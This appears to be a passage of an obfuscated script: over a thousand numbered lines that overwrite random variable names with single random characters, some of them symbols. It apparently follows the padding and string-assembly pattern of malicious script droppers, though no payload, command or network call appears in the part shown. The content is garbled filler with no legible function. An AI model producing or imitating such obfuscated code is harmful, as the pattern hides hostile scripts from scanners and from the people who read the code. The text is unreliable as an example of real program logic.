300	dkefpi = "Y";
301	dkefpi = "R";
302	dkefpi = "l";
303	dkefpi = "c";
304	dkefpi = "R";
305	dkefpi = "E";
306	dkefpi = "g";
307	dkefpi = "i";
308	dkefpi = "t";
309	dkefpi = "b";
310	dkefpi = "F";
311	dkefpi = "t";
312	dkefpi = "W";
313	dkefpi = "M";
314	dkefpi = "u";
315	dkefpi = "h";
316	dkefpi = "U";
317	dkefpi = "q";
318	dkefpi = "m";
319	dkefpi = "H";
320	dkefpi = "g";
321	dkefpi = "R";
322	dkefpi = "n";
323	dkefpi = "u";
324	dkefpi = "j";
325	torizozb = "o";
326	torizozb = "Q";
327	torizozb = "Q";
328	torizozb = "U";
329	torizozb = "w";
330	torizozb = "M";
331	torizozb = "Z";
332	torizozb = "I";
333	torizozb = "f";
334	torizozb = "p";
335	torizozb = "v";
336	torizozb = "C";
337	torizozb = "y";
338	torizozb = "E";
339	torizozb = "c";
340	torizozb = "I";
341	torizozb = "v";
342	torizozb = "e";
343	torizozb = "k";
344	torizozb = "m";
345	torizozb = "x";
346	torizozb = "S";
347	torizozb = "X";
348	torizozb = "W";
349	torizozb = "a";
350	torizozb = "j";
351	torizozb = "q";
352	torizozb = "v";
353	torizozb = "X";
354	torizozb = "n";
355	torizozb = "t";
356	torizozb = "V";
357	torizozb = "d";
358	torizozb = "s";
359	torizozb = "z";
360	torizozb = "Q";
361	torizozb = "X";
362	torizozb = "t";
363	torizozb = "j";
364	torizozb = "G";
365	torizozb = "X";
366	torizozb = "V";
367	torizozb = "N";
368	lfmztyv = "K";
369	lfmztyv = "P";
370	lfmztyv = "M";
371	lfmztyv = "S";
372	lfmztyv = "f";
373	lfmztyv = "q";
374	lfmztyv = "r";
375	lfmztyv = "g";
376	lfmztyv = "r";
377	lfmztyv = "f";
378	lfmztyv = "j";
379	lfmztyv = "Q";
380	lfmztyv = "U";
381	wxtkayan = "d";
382	wxtkayan = "c";
383	wxtkayan = "e";
384	wxtkayan = "D";
385	wxtkayan = "p";
386	wxtkayan = "e";
387	wxtkayan = "h";
388	wxtkayan = "X";
389	wxtkayan = "C";
390	wxtkayan = "s";
391	wxtkayan = "U";
392	wxtkayan = "Y";
393	wxtkayan = "v";
394	wxtkayan = "Z";
395	wxtkayan = "m";
396	wxtkayan = "z";
397	wxtkayan = "C";
398	wxtkayan = "p";
399	wxtkayan = "r";
400	wxtkayan = "z";
401	wxtkayan = "P";
402	wxtkayan = "l";
403	yieoclib = "j";
404	yieoclib = "M";
405	yieoclib = "K";
406	yieoclib = "y";
407	yieoclib = "H";
408	yieoclib = "u";
409	yieoclib = "x";
410	yieoclib = "x";
411	yieoclib = "e";
412	yieoclib = "p";
413	yieoclib = "a";
414	yieoclib = "c";
415	yieoclib = "d";
416	yieoclib = "T";
417	yieoclib = "u";
418	yieoclib = "e";
419	yieoclib = "t";
420	yieoclib = "t";
421	yieoclib = "d";
422	yieoclib = "M";
423	yieoclib = "l";
424	yieoclib = "C";
425	yieoclib = "f";
426	yieoclib = "P";
427	yieoclib = "T";
428	yieoclib = "u";
429	tckpcub = "R";
430	tckpcub = "s";
431	tckpcub = "o";
432	tckpcub = "u";
433	tckpcub = "H";
434	tckpcub = "f";
435	tckpcub = "U";
436	tckpcub = "m";
437	tckpcub = "w";
438	tckpcub = "R";
439	tckpcub = "o";
440	tckpcub = "K";
441	tckpcub = "x";
442	tckpcub = "p";
443	tckpcub = "E";
444	tckpcub = "D";
445	tckpcub = "Z";
446	tckpcub = "c";
447	tckpcub = "Y";
448	tckpcub = "T";
449	tckpcub = "b";
450	tckpcub = "J";
451	tckpcub = "G";
452	tckpcub = "n";
453	tckpcub = "n";
454	tckpcub = "t";
455	tckpcub = "Q";
456	tckpcub = "z";
457	tckpcub = "k";
458	tckpcub = "c";
459	tckpcub = "L";
460	tckpcub = "C";
461	tckpcub = "a";
462	tckpcub = "R";
463	tckpcub = "Z";
464	tckpcub = "e";
465	tckpcub = "G";
466	tckpcub = "o";
467	tckpcub = "k";
468	tckpcub = "N";
469	tckpcub = "g";
470	tckpcub = "V";
471	tckpcub = "E";
472	vijnufq = "u";
473	vijnufq = "y";
474	vijnufq = "z";
475	vijnufq = "b";
476	vijnufq = "s";
477	vijnufq = "v";
478	vijnufq = "g";
479	vijnufq = "j";
480	vijnufq = "I";
481	vijnufq = "m";
482	vijnufq = "T";
483	vijnufq = "z";
484	vijnufq = "A";
485	vijnufq = "j";
486	vijnufq = "h";
487	vijnufq = "o";
488	vijnufq = "m";
489	vijnufq = "k";
490	vijnufq = "B";
491	vijnufq = "y";
492	vijnufq = "T";
493	vijnufq = "y";
494	vijnufq = "k";
495	vijnufq = "R";
496	vijnufq = "n";
497	vijnufq = "c";
498	vijnufq = "w";
499	vijnufq = "M";
500	vijnufq = "z";
501	vijnufq = "q";
502	vijnufq = "E";
503	vijnufq = "T";
504	vijnufq = "p";
505	vijnufq = "n";
506	vijnufq = "Y";
507	vijnufq = "N";
508	vijnufq = "G";
509	vijnufq = "j";
510	vijnufq = "V";
511	vijnufq = "V";
512	vijnufq = "B";
513	vijnufq = "L";
514	poppwoox = "l";
515	poppwoox = "H";
516	poppwoox = "j";
517	poppwoox = "T";
518	poppwoox = "V";
519	poppwoox = "A";
520	poppwoox = "X";
521	poppwoox = "w";
522	poppwoox = "O";
523	poppwoox = "i";
524	pvonpi = "Y";
525	pvonpi = "V";
526	pvonpi = "i";
527	pvonpi = "O";
528	pvonpi = "v";
529	pvonpi = "P";
530	pvonpi = "M";
531	pvonpi = "m";
532	pvonpi = "e";
533	pvonpi = "O";
534	pvonpi = "q";
535	pvonpi = "B";
536	pvonpi = "p";
537	pvonpi = "D";
538	pvonpi = "y";
539	pvonpi = "C";
540	vyywmb = "t";
541	vyywmb = "T";
542	vyywmb = "h";
543	vyywmb = "N";
544	vyywmb = "i";
545	vyywmb = "x";
546	vyywmb = "h";
547	vyywmb = "k";
548	vyywmb = "e";
549	vyywmb = "j";
550	vyywmb = "t";
551	vyywmb = "o";
552	vyywmb = "O";
553	vyywmb = "c";
554	vyywmb = "W";
555	vyywmb = "X";
556	vyywmb = "w";
557	vyywmb = "b";
558	vyywmb = "M";
559	vyywmb = "g";
560	vyywmb = "h";
561	vyywmb = "F";
562	vyywmb = "q";
563	xwxajbada = "v";
564	xwxajbada = "z";
565	xwxajbada = "l";
566	xwxajbada = "f";
567	xwxajbada = "O";
568	xwxajbada = "M";
569	xwxajbada = "s";
570	xwxajbada = "b";
571	xwxajbada = "p";
572	xwxajbada = "D";
573	xwxajbada = "B";
574	xwxajbada = "E";
575	xwxajbada = "C";
576	xwxajbada = "H";
577	xwxajbada = "P";
578	xwxajbada = "k";
579	xwxajbada = "R";
580	xwxajbada = "t";
581	xwxajbada = "a";
582	xwxajbada = "I";
583	xwxajbada = "D";
584	xwxajbada = "D";
585	xwxajbada = "J";
586	xwxajbada = "B";
587	xwxajbada = "a";
588	xwxajbada = "V";
589	xwxajbada = "-";
590	kszqdbfct = "o";
591	kszqdbfct = "w";
592	kszqdbfct = "n";
593	kszqdbfct = "I";
594	kszqdbfct = "W";
595	kszqdbfct = "E";
596	kszqdbfct = "m";
597	kszqdbfct = "G";
598	kszqdbfct = "H";
599	kszqdbfct = "p";
600	dhgyjzcz = "i";
601	dhgyjzcz = "i";
602	dhgyjzcz = "W";
603	dhgyjzcz = "V";
604	dhgyjzcz = "k";
605	dhgyjzcz = "g";
606	dhgyjzcz = "N";
607	dhgyjzcz = "D";
608	dhgyjzcz = "v";
609	dhgyjzcz = "E";
610	dhgyjzcz = "A";
611	dhgyjzcz = "A";
612	dhgyjzcz = "h";
613	dhgyjzcz = "u";
614	dhgyjzcz = "v";
615	dhgyjzcz = "q";
616	dhgyjzcz = "A";
617	dhgyjzcz = "J";
618	dhgyjzcz = "z";
619	dhgyjzcz = "g";
620	dhgyjzcz = "p";
621	dhgyjzcz = "a";
622	dhgyjzcz = "w";
623	dhgyjzcz = "p";
624	dhgyjzcz = "E";
625	dhgyjzcz = "H";
626	dhgyjzcz = "f";
627	ardndhfeo = "I";
628	ardndhfeo = "A";
629	ardndhfeo = "A";
630	ardndhfeo = "d";
631	ardndhfeo = "c";
632	ardndhfeo = "T";
633	ardndhfeo = "f";
634	ardndhfeo = "W";
635	ardndhfeo = "b";
636	ardndhfeo = "x";
637	zvkkvfm = "m";
638	zvkkvfm = "F";
639	zvkkvfm = "I";
640	zvkkvfm = "F";
641	zvkkvfm = "K";
642	zvkkvfm = "V";
643	zvkkvfm = "N";
644	zvkkvfm = "A";
645	zvkkvfm = "N";
646	zvkkvfm = "Y";
647	zvkkvfm = "V";
648	zvkkvfm = "a";
649	zvkkvfm = "y";
650	zvkkvfm = "y";
651	zvkkvfm = "D";
652	zvkkvfm = "A";
653	zvkkvfm = "X";
654	zvkkvfm = "R";
655	zvkkvfm = "k";
656	zvkkvfm = "F";
657	zvkkvfm = "u";
658	zvkkvfm = "z";
659	zvkkvfm = "P";
660	zvkkvfm = "x";
661	zvkkvfm = "x";
662	zvkkvfm = "k";
663	zvkkvfm = "V";
664	zvkkvfm = "z";
665	zvkkvfm = "c";
666	zvkkvfm = "T";
667	zvkkvfm = "K";
668	zvkkvfm = "K";
669	zvkkvfm = "l";
670	zvkkvfm = "z";
671	zvkkvfm = "T";
672	zvkkvfm = "H";
673	zvkkvfm = "n";
674	zvkkvfm = "i";
675	zvkkvfm = "d";
676	zvkkvfm = "X";
677	zvkkvfm = "D";
678	zvkkvfm = "w";
679	zvkkvfm = "k";
680	zvkkvfm = "G";
681	zvkkvfm = "/";
682	yajbrqza = "I";
683	yajbrqza = "Y";
684	yajbrqza = "g";
685	yajbrqza = "a";
686	yajbrqza = "N";
687	yajbrqza = "W";
688	yajbrqza = "y";
689	yajbrqza = "W";
690	yajbrqza = "Q";
691	yajbrqza = "l";
692	yajbrqza = "T";
693	yajbrqza = "O";
694	yajbrqza = "W";
695	yajbrqza = "w";
696	yajbrqza = "F";
697	yajbrqza = "s";
698	yajbrqza = "l";
699	yajbrqza = "i";
700	yajbrqza = "X";
701	yajbrqza = "i";
702	yajbrqza = "T";
703	yajbrqza = "W";
704	yajbrqza = "D";
705	yajbrqza = "P";
706	yajbrqza = "u";
707	yajbrqza = "S";
708	yajbrqza = "N";
709	yajbrqza = "k";
710	yajbrqza = "h";
711	yajbrqza = "A";
712	yajbrqza = "b";
713	rjedzb = "u";
714	rjedzb = "y";
715	rjedzb = "T";
716	rjedzb = "g";
717	rjedzb = "G";
718	rjedzb = "D";
719	rjedzb = "r";
720	rjedzb = "O";
721	rjedzb = "M";
722	rjedzb = "s";
723	rjedzb = "S";
724	rjedzb = "F";
725	rjedzb = "b";
726	rjedzb = "f";
727	rjedzb = "J";
728	rjedzb = "X";
729	rjedzb = "e";
730	rjedzb = "q";
731	rjedzb = "M";
732	rjedzb = "q";
733	rjedzb = "m";
734	rjedzb = "V";
735	rjedzb = "d";
736	rjedzb = "Y";
737	rjedzb = "M";
738	rjedzb = "B";
739	rjedzb = "Y";
740	rjedzb = "P";
741	rjedzb = "u";
742	rjedzb = "Q";
743	rjedzb = "z";
744	rjedzb = "i";
745	rjedzb = "i";
746	rjedzb = "v";
747	rjedzb = "W";
748	rjedzb = "@";
749	hukyin = "X";
750	hukyin = "j";
751	hukyin = "N";
752	hukyin = "Z";
753	hukyin = "f";
754	hukyin = "y";
755	hukyin = "H";
756	hukyin = "K";
757	hukyin = "N";
758	hukyin = "y";
759	hukyin = "q";
760	hukyin = "W";
761	hukyin = "f";
762	hukyin = "k";
763	hukyin = "S";
764	hukyin = "H";
765	hukyin = "i";
766	hukyin = "T";
767	hukyin = "n";
768	hukyin = "B";
769	hukyin = "g";
770	hukyin = "c";
771	hukyin = "Z";
772	hukyin = "c";
773	hukyin = "F";
774	hukyin = "f";
775	hukyin = "z";
776	hukyin = "A";
777	hukyin = "W";
778	hukyin = "J";
779	hukyin = "K";
780	hukyin = "K";
781	hukyin = "P";
782	hukyin = "h";
783	hukyin = "z";
784	hukyin = "B";
785	hukyin = "d";
786	hukyin = "c";
787	hukyin = "g";
788	pgqamr = "P";
789	pgqamr = "g";
790	pgqamr = "M";
791	pgqamr = "n";
792	pgqamr = "p";
793	pgqamr = "U";
794	pgqamr = "w";
795	uubkstoiu = "v";
796	uubkstoiu = "Z";
797	uubkstoiu = "s";
798	uubkstoiu = "Y";
799	uubkstoiu = "z";
800	uubkstoiu = "v";
801	uubkstoiu = "Q";
802	uubkstoiu = "M";
803	uubkstoiu = "D";
804	uubkstoiu = "m";
805	uubkstoiu = "I";
806	uubkstoiu = "c";
807	uubkstoiu = "a";
808	izbkujxe = "j";
809	izbkujxe = "F";
810	izbkujxe = "h";
811	izbkujxe = "S";
812	izbkujxe = "y";
813	izbkujxe = "Y";
814	izbkujxe = "W";
815	izbkujxe = "z";
816	izbkujxe = "z";
817	izbkujxe = "o";
818	izbkujxe = "w";
819	izbkujxe = "s";
820	izbkujxe = "Y";
821	izbkujxe = "n";
822	izbkujxe = "H";
823	izbkujxe = "t";
824	izbkujxe = "d";
825	izbkujxe = "d";
826	izbkujxe = "c";
827	izbkujxe = "E";
828	izbkujxe = "h";
829	izbkujxe = "I";
830	izbkujxe = "k";
831	izbkujxe = "V";
832	izbkujxe = "e";
833	izbkujxe = "p";
834	izbkujxe = "r";
835	izbkujxe = "d";
836	izbkujxe = "C";
837	izbkujxe = "e";
838	izbkujxe = "V";
839	izbkujxe = "M";
840	izbkujxe = "k";
841	zlevsbj = "L";
842	zlevsbj = "o";
843	zlevsbj = "P";
844	zlevsbj = "Z";
845	zlevsbj = "b";
846	zlevsbj = "R";
847	zlevsbj = "G";
848	zlevsbj = "Y";
849	zlevsbj = "r";
850	zlevsbj = "y";
851	zlevsbj = "L";
852	zlevsbj = "q";
853	zlevsbj = "E";
854	zlevsbj = "o";
855	zlevsbj = "L";
856	zlevsbj = "C";
857	zlevsbj = "m";
858	zlevsbj = "p";
859	zlevsbj = "X";
860	zlevsbj = "Q";
861	zlevsbj = "O";
862	ujmvsawap = "B";
863	ujmvsawap = "U";
864	ujmvsawap = "R";
865	ujmvsawap = "d";
866	ujmvsawap = "y";
867	ujmvsawap = "D";
868	ujmvsawap = "I";
869	ujmvsawap = "C";
870	ujmvsawap = "W";
871	ujmvsawap = "J";
872	ujmvsawap = "K";
873	ujmvsawap = "e";
874	ujmvsawap = "M";
875	ujmvsawap = "x";
876	ujmvsawap = "w";
877	ujmvsawap = "J";
878	ujmvsawap = "P";
879	ujmvsawap = "P";
880	ujmvsawap = "T";
881	ujmvsawap = "N";
882	ujmvsawap = "x";
883	ujmvsawap = "g";
884	ujmvsawap = "U";
885	ujmvsawap = "m";
886	ujmvsawap = "h";
887	ujmvsawap = "s";
888	ujmvsawap = "w";
889	ujmvsawap = "H";
890	ujmvsawap = "i";
891	ujmvsawap = "S";
892	ujmvsawap = "r";
893	ujmvsawap = "4";
894	hiiic = "X";
895	hiiic = "E";
896	hiiic = "U";
897	hiiic = "i";
898	hiiic = "q";
899	hiiic = "T";
900	hiiic = "H";
901	hiiic = "N";
902	hiiic = "G";
903	hiiic = "M";
904	hiiic = "V";
905	hiiic = "M";
906	hiiic = "M";
907	hiiic = "h";
908	hiiic = "Q";
909	hiiic = "t";
910	hiiic = "W";
911	hiiic = "z";
912	hiiic = "h";
913	hiiic = "V";
914	hiiic = "y";
915	hiiic = "V";
916	hiiic = "r";
917	hiiic = "h";
918	hiiic = "m";
919	hiiic = "F";
920	hiiic = "Q";
921	afrupzd = "c";
922	afrupzd = "B";
923	afrupzd = "X";
924	afrupzd = "S";
925	afrupzd = "a";
926	afrupzd = "E";
927	afrupzd = "3";
928	hicfplbub = "T";
929	hicfplbub = "C";
930	hicfplbub = "s";
931	hicfplbub = "o";
932	hicfplbub = "g";
933	hicfplbub = "N";
934	hicfplbub = "b";
935	hicfplbub = "G";
936	hicfplbub = "Z";
937	hicfplbub = "m";
938	hicfplbub = "w";
939	hicfplbub = "F";
940	hicfplbub = "S";
941	hicfplbub = "V";
942	hicfplbub = "X";
943	hicfplbub = "y";
944	hicfplbub = "e";
945	hicfplbub = "c";
946	hicfplbub = "B";
947	hicfplbub = "S";
948	hicfplbub = "c";
949	hicfplbub = "Q";
950	hicfplbub = "x";
951	hicfplbub = "X";
952	hicfplbub = ".";
953	qnckqqjht = "A";
954	qnckqqjht = "i";
955	qnckqqjht = "V";
956	qnckqqjht = "g";
957	qnckqqjht = "K";
958	qnckqqjht = "w";
959	qnckqqjht = "y";
960	qnckqqjht = "K";
961	qnckqqjht = "X";
962	qnckqqjht = "v";
963	qnckqqjht = "Y";
964	qnckqqjht = "W";
965	qnckqqjht = "G";
966	qnckqqjht = "J";
967	qnckqqjht = "o";
968	qnckqqjht = "r";
969	qnckqqjht = "M";
970	qnckqqjht = "h";
971	qnckqqjht = "b";
972	qnckqqjht = "x";
973	qnckqqjht = "m";
974	qnckqqjht = "o";
975	qnckqqjht = "E";
976	qnckqqjht = "Z";
977	qnckqqjht = "g";
978	qnckqqjht = "R";
979	qnckqqjht = "D";
980	qnckqqjht = "u";
981	qnckqqjht = "W";
982	qnckqqjht = "O";
983	qnckqqjht = "n";
984	qnckqqjht = "S";
985	pksjutyh = "y";
986	pksjutyh = "s";
987	pksjutyh = "K";
988	pksjutyh = "P";
989	pksjutyh = "a";
990	pksjutyh = "N";
991	pksjutyh = "G";
992	pksjutyh = "C";
993	pksjutyh = "G";
994	pksjutyh = "l";
995	pksjutyh = "G";
996	pksjutyh = "Z";
997	pksjutyh = "Z";
998	pksjutyh = "T";
999	pksjutyh = "i";
1000	pksjutyh = "r";
1001	pksjutyh = "N";
1002	pksjutyh = "f";
1003	pksjutyh = "Z";
1004	pksjutyh = "W";
1005	pksjutyh = "N";
1006	pksjutyh = "c";
1007	pksjutyh = "C";
1008	pksjutyh = "a";
1009	pksjutyh = "o";
1010	pksjutyh = "p";
1011	pksjutyh = "v";
1012	pksjutyh = "t";
1013	pksjutyh = "q";
1014	pksjutyh = "e";
1015	pksjutyh = "l";
1016	pksjutyh = "R";
1017	skwphm = "l";
1018	skwphm = "q";
1019	skwphm = "h";
1020	skwphm = "Z";
1021	skwphm = "b";
1022	skwphm = "d";
1023	skwphm = "D";
1024	skwphm = "L";
1025	skwphm = "p";
1026	skwphm = "a";
1027	skwphm = "e";
1028	skwphm = "l";
1029	skwphm = "u";
1030	skwphm = "g";
1031	skwphm = "m";
1032	skwphm = "w";
1033	skwphm = "f";
1034	skwphm = "C";
1035	skwphm = "u";
1036	skwphm = "u";
1037	skwphm = "j";
1038	skwphm = "a";
1039	skwphm = "g";
1040	skwphm = "n";
1041	skwphm = "C";
1042	skwphm = "A";
1043	skwphm = "a";
1044	skwphm = "r";
1045	skwphm = "r";
1046	skwphm = "y";
1047	skwphm = "s";
1048	skwphm = "v";
1049	skwphm = "O";
1050	skwphm = "h";
1051	skwphm = "M";
1052	skwphm = "Z";
1053	skwphm = "c";
1054	skwphm = "L";
1055	skwphm = "z";
1056	skwphm = "Z";
1057	skwphm = "G";
1058	skwphm = "h";
1059	skwphm = "G";
1060	skwphm = "&";
1061	gvlkzwhsh = "Y";
1062	gvlkzwhsh = "f";
1063	gvlkzwhsh = "l";
1064	gvlkzwhsh = "n";
1065	gvlkzwhsh = "H";
1066	gvlkzwhsh = "C";
1067	gvlkzwhsh = "a";
1068	gvlkzwhsh = "g";
1069	gvlkzwhsh = "o";
1070	gvlkzwhsh = "E";
1071	gvlkzwhsh = "W";
1072	gvlkzwhsh = "X";
1073	gvlkzwhsh = "d";
1074	gvlkzwhsh = "b";
1075	gvlkzwhsh = "u";
1076	gvlkzwhsh = "s";
1077	gvlkzwhsh = "u";
1078	gvlkzwhsh = "Q";
1079	gvlkzwhsh = "t";
1080	gvlkzwhsh = "a";
1081	gvlkzwhsh = "p";
1082	gvlkzwhsh = "U";
1083	gvlkzwhsh = "Q";
1084	gvlkzwhsh = "e";
1085	gvlkzwhsh = "K";
1086	gvlkzwhsh = "k";
1087	gvlkzwhsh = "u";
1088	gvlkzwhsh = "w";
1089	gvlkzwhsh = "v";
1090	gvlkzwhsh = "v";
1091	gvlkzwhsh = "A";
1092	gvlkzwhsh = "E";
1093	gvlkzwhsh = "i";
1094	gvlkzwhsh = "C";
1095	gvlkzwhsh = "l";
1096	gvlkzwhsh = "c";
1097	gvlkzwhsh = "L";
1098	gvlkzwhsh = "P";
1099	gvlkzwhsh = "h";
1100	bowfev = "E";
1101	bowfev = "c";
1102	bowfev = "S";
1103	bowfev = "G";
1104	bowfev = "V";
1105	bowfev = "d";
1106	bowfev = "h";
1107	bowfev = "t";
1108	bowfev = "e";
1109	bowfev = "A";
1110	bowfev = "T";
1111	bowfev = "g";
1112	bowfev = "B";
1113	bowfev = "O";
1114	bowfev = "W";
1115	bowfev = "n";
1116	hvtcfexqt = "r";
1117	hvtcfexqt = "s";
1118	cmsse = "V";
1119	cmsse = "a";
1120	cmsse = "K";
1121	cmsse = "e";
1122	cmsse = "R";
1123	cmsse = "R";
1124	cmsse = "T";
1125	cmsse = "A";
1126	cmsse = "Z";
1127	cmsse = "E";
1128	cmsse = "n";
1129	cmsse = "o";
1130	cmsse = "m";
1131	cmsse = "T";
1132	cmsse = "s";
1133	cmsse = "u";
1134	cmsse = "Z";
1135	cmsse = "D";
1136	cmsse = "n";
1137	cmsse = "d";
1138	cmsse = "p";
1139	cmsse = "B";
1140	cmsse = "m";
1141	cmsse = "E";
1142	cmsse = "Q";
1143	cmsse = "N";
1144	cmsse = "n";
1145	cmsse = "R";
1146	cmsse = "r";
1147	cmsse = "r";
1148	cmsse = "L";
1149	cmsse = "o";
1150	cmsse = "m";
1151	cmsse = "z";
1152	cmsse = "t";
1153	cmsse = "L";
1154	cmsse = "s";
1155	cmsse = "G";
1156	cmsse = "Y";
1157	cmsse = "p";
1158	cmsse = "H";
1159	cmsse = "w";
1160	cmsse = "w";
1161	cmsse = "p";
1162	cmsse = "e";
1163	jvemj = "E";
1164	jvemj = "Q";
1165	jvemj = "j";
1166	jvemj = "m";
1167	jvemj = "x";
1168	jvemj = "c";
1169	jvemj = "e";
1170	jvemj = "p";
1171	jvemj = "D";
1172	jvemj = "g";
1173	jvemj = "d";
1174	jvemj = "u";
1175	jvemj = "N";
1176	jvemj = "P";
1177	jvemj = "L";
1178	jvemj = "n";
1179	jvemj = "w";
1180	jvemj = "p";
1181	jvemj = "z";
1182	jvemj = "b";
1183	jvemj = "q";
1184	jvemj = "l";
1185	jvemj = "P";
1186	jvemj = "j";
1187	jvemj = "W";
1188	jvemj = "P";
1189	jvemj = "K";
1190	jvemj = "R";
1191	jvemj = "T";
1192	jvemj = "u";
1193	jvemj = "X";
1194	jvemj = "S";
1195	jvemj = "1";
1196	dvxdjv = "B";
1197	dvxdjv = "p";
1198	dvxdjv = "X";
1199	dvxdjv = "r";
1200	dvxdjv = "H";
1201	dvxdjv = "A";
1202	dvxdjv = "Y";
1203	dvxdjv = "x";
1204	dvxdjv = "P";
1205	dvxdjv = "p";
1206	dvxdjv = "U";
1207	dvxdjv = "X";
1208	dvxdjv = "l";
1209	dvxdjv = "E";
1210	dvxdjv = "E";
1211	dvxdjv = "T";
1212	dvxdjv = "B";
1213	dvxdjv = "v";
1214	dvxdjv = "G";
1215	dvxdjv = "X";
1216	dvxdjv = "y";
1217	dvxdjv = "x";
1218	dvxdjv = "F";
1219	dvxdjv = "C";
1220	dvxdjv = "d";
1221	dvxdjv = "d";
1222	jpwtathw = "w";
1223	jpwtathw = "I";
1224	jpwtathw = "v";
1225	jpwtathw = "j";
1226	jpwtathw = "r";
1227	jpwtathw = "0";
1228	tpammdc = "z";
1229	tpammdc = "M";
1230	tpammdc = "F";
1231	tpammdc = "Z";
1232	tpammdc = "Q";
1233	tpammdc = "G";
1234	tpammdc = "w";
1235	tpammdc = "A";
1236	tpammdc = "G";
1237	tpammdc = "l";
1238	tpammdc = "D";
1239	tpammdc = "u";
1240	tpammdc = "n";
1241	tpammdc = "N";
1242	tpammdc = "w";
1243	tpammdc = "5";
1244	vgfktmu = "u";
1245	vgfktmu = "J";
1246	vgfktmu = "n";
1247	vgfktmu = "e";
1248	vgfktmu = "K";
1249	vgfktmu = "c";
1250	vgfktmu = "l";
1251	vgfktmu = "r";
1252	vgfktmu = "m";
1253	vgfktmu = "G";
1254	vgfktmu = "w";
1255	vgfktmu = "L";
1256	vgfktmu = "s";
1257	vgfktmu = "O";
1258	vgfktmu = "o";
1259	vgfktmu = "i";
1260	vgfktmu = "M";
1261	vgfktmu = "t";
1262	vgfktmu = "U";
1263	vgfktmu = "J";
1264	vgfktmu = "Y";
1265	vgfktmu = "L";
1266	vgfktmu = "w";
1267	vgfktmu = "c";
1268	vgfktmu = "C";
1269	vgfktmu = "M";
1270	vgfktmu = "d";
1271	vgfktmu = "L";
1272	vgfktmu = "v";
1273	vgfktmu = "C";
1274	vgfktmu = "V";
1275	vgfktmu = "Y";
1276	vgfktmu = "o";
1277	revze = "b";
1278	revze = "k";
1279	revze = "e";
1280	revze = "u";
1281	revze = "X";
1282	revze = "k";
1283	revze = "Q";
1284	revze = "F";
1285	revze = "K";
1286	revze = "e";
1287	revze = "E";
1288	revze = "p";
1289	revze = "z";
1290	revze = "Q";
1291	revze = "B";
1292	revze = "J";
1293	revze = "r";
1294	revze = "m";
1295	revze = "j";
1296	revze = "y";
1297	revze = "y";
1298	revze = "L";
1299	revze = "a";
1300	revze = "Z";
1301	revze = "X";
1302	revze = "p";
1303	revze = "X";
1304	revze = "x";
1305	revze = "D";
1306	revze = "Q";
1307	revze = "S";
1308	revze = "T";
1309	revze = "k";
1310	revze = "F";
1311	revze = "W";
1312	revze = "A";
1313	revze = "a";
1314	revze = "e";
1315	revze = "U";
1316	revze = "T";
1317	revze = "d";
1318	revze = "W";
1319	dgicy = "e";
1320	dgicy = "q";
1321	dgicy = "N";
1322	dgicy = "m";
1323	dgicy = "E";
1324	dgicy = "O";
1325	dgicy = "N";
1326	dgicy = "C";
1327	dgicy = "T";
1328	dgicy = "n";
1329	dgicy = "r";
1330	dgicy = "J";
1331	dgicy = "J";
1332	dgicy = "q";
1333	dgicy = "I";
1334	dgicy = "M";
1335	dgicy = "h";
1336	dgicy = "B";
1337	dgicy = "F";
1338	dgicy = "M";
1339	dgicy = "w";
1340	dgicy = "T";
1341	dgicy = "I";
1342	dgicy = "c";
1343	dgicy = "u";
1344	dgicy = "%";
1345	pmndv = "l";
1346	pmndv = "K";
1347	pmndv = "C";
1348	pmndv = "O";
1349	pmndv = "X";
1350	pmndv = "U";
1351	pmndv = "O";
1352	pmndv = "O";
1353	pmndv = "d";
1354	pmndv = "t";
1355	pmndv = "F";
1356	pmndv = "X";
1357	pmndv = "H";
1358	pmndv = "g";
1359	pmndv = "J";
1360	pmndv = "R";
1361	pmndv = "Q";
1362	pmndv = "I";
1363	pmndv = "W";
1364	pmndv = "w";
1365	pmndv = "q";
1366	pmndv = "g";
1367	pmndv = "d";
1368	pmndv = "F";
1369	pmndv = "q";
1370	pmndv = "V";
1371	pmndv = "G";
1372	pmndv = "C";
1373	pmndv = "E";
1374	pmndv = "z";
1375	pmndv = "P";
1376	pmndv = "z";
1377	pmndv = "s";
1378	pmndv = "J";
1379	pmndv = "y";
1380	pmndv = "w";
1381	pmndv = "I";
1382	pmndv = "X";
1383	pmndv = "X";
1384	pmndv = "d";
1385	pmndv = "U";
1386	pmndv = "T";
1387	pmndv = "v";
1388	pmndv = "c";
1389	pmndv = "r";
1390	yjdeomzvm = "O";
1391	yjdeomzvm = "z";
1392	yjdeomzvm = "l";
1393	yjdeomzvm = "w";
1394	yjdeomzvm = "b";
1395	yjdeomzvm = "O";
1396	yjdeomzvm = "a";
1397	yjdeomzvm = "F";
1398	yjdeomzvm = "d";
1399	yjdeomzvm = "y";
1400	yjdeomzvm = "F";
1401	yjdeomzvm = "w";
1402	yjdeomzvm = "O";
1403	yjdeomzvm = "u";
1404	yjdeomzvm = "X";
1405	yjdeomzvm = "y";
1406	yjdeomzvm = "r";
1407	yjdeomzvm = "e";
1408	yjdeomzvm = "S";
1409	yjdeomzvm = "B";
1410	yjdeomzvm = "P";
1411	yjdeomzvm = "W";
1412	yjdeomzvm = "R";
1413	yjdeomzvm = "2";
1414	qdcddhym = "Y";
1415	qdcddhym = "F";
1416	qdcddhym = "D";
1417	qdcddhym = "N";
1418	qdcddhym = "S";
1419	qdcddhym = "W";
1420	qdcddhym = "u";
1421	qdcddhym = "l";
1422	qdcddhym = "i";
1423	qdcddhym = "U";
1424	qdcddhym = "i";
1425	qdcddhym = "G";
1426	qdcddhym = "O";
1427	qdcddhym = "m";
1428	qdcddhym = "a";
1429	qdcddhym = "Y";
1430	qdcddhym = "s";
1431	qdcddhym = "l";
1432	qdcddhym = "H";
1433	qdcddhym = "J";
1434	qdcddhym = "L";
1435	qdcddhym = "S";
1436	qdcddhym = "t";
1437	qdcddhym = "q";
1438	qdcddhym = "U";
1439	qdcddhym = "d";
1440	qdcddhym = "t";
1441	qdcddhym = "O";
1442	qdcddhym = "M";
1443	qdcddhym = "j";
1444	qdcddhym = "G";
1445	qdcddhym = "q";
1446	qdcddhym = "c";
1447	qdcddhym = "c";
1448	qdcddhym = "D";
1449	qdcddhym = "h";
1450	qdcddhym = "x";
1451	qdcddhym = "T";
1452	qdcddhym = "l";
1453	qdcddhym = "K";
1454	qdcddhym = "6";
1455	fujghkkr = "R";
1456	fujghkkr = "f";
1457	fujghkkr = "x";
1458	fujghkkr = "M";
1459	fujghkkr = "T";
1460	fujghkkr = "e";
1461	fujghkkr = "t";
1462	fujghkkr = "l";
1463	fujghkkr = "l";
1464	fujghkkr = "C";
1465	fujghkkr = "H";
